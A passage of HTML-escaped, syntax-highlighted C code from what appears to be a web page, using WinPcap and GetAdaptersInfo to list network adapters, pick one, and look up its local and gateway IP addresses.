#000000"&gt;&amp;nbsp;AF_INET&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;:&amp;nbsp;%s\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;inet_ntoa(&amp;nbsp;((&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sockaddr_in&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addresses&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addr)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;sin_addr&amp;nbsp;)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(No&amp;nbsp;description&amp;nbsp;available)\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(i&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;\nNo&amp;nbsp;interfaces&amp;nbsp;found!&amp;nbsp;Make&amp;nbsp;sure&amp;nbsp;WinPcap&amp;nbsp;is&amp;nbsp;installed.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;\nPlease&amp;nbsp;choose&amp;nbsp;the&amp;nbsp;index&amp;nbsp;of&amp;nbsp;your&amp;nbsp;NetAdapter：&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AdapterIndex&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;scanf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;%d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;AdapterIndex&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;AdapterIndex&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;i&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;网卡选错啦\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;alldevs;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;for&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;index&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&amp;nbsp;index&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;AdapterIndex;&amp;nbsp;index&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;++&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;d&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;next;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;name&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;||&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addresses&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;网卡选错啦\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;InterfaceName,&amp;nbsp;d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;name&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;LocalIP,&amp;nbsp;inet_ntoa(&amp;nbsp;((&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;sockaddr_in&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)d&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addresses&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;addr)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;sin_addr&amp;nbsp;)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;不再需要设备列表了，释放它&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pcap_freealldevs(alldevs);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;GetGateWayMac(&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIP_ADAPTER_INFO&amp;nbsp;AdapterInfo;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OutBufLen&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(IP_ADAPTER_INFO);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AdapterInfo&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(IP_ADAPTER_INFO&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)malloc(&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(IP_ADAPTER_INFO));&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;AdapterInfo&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Error&amp;nbsp;allocating&amp;nbsp;memory&amp;nbsp;needed&amp;nbsp;to&amp;nbsp;call&amp;nbsp;GetAdaptersinfo\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;GetAdaptersInfo(&amp;nbsp;AdapterInfo,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;OutBufLen&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ERROR_BUFFER_OVERFLOW&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(&amp;nbsp;AdapterInfo&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AdapterInfo&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(IP_ADAPTER_INFO&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)malloc(&amp;nbsp;OutBufLen&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;AdapterInfo&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Error&amp;nbsp;allocating&amp;nbsp;memory&amp;nbsp;needed&amp;nbsp;to&amp;nbsp;call&amp;nbsp;GetAdaptersinfo\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;GetAdaptersInfo(&amp;nbsp;AdapterInfo,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;OutBufLen&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NO_ERROR&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PIP_ADAPTER_INFO&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;a&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;AdapterInfo;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BOOL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Found&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;while&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;a&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;strcmp(a&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;IpAddressList.IpAddress.String,&amp;nbsp;LocalIP)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(&amp;nbsp;GatewayIP,&amp;nbsp;a&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;GatewayList.IpAddress.String&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Found&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;TRUE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;a&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;a&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: 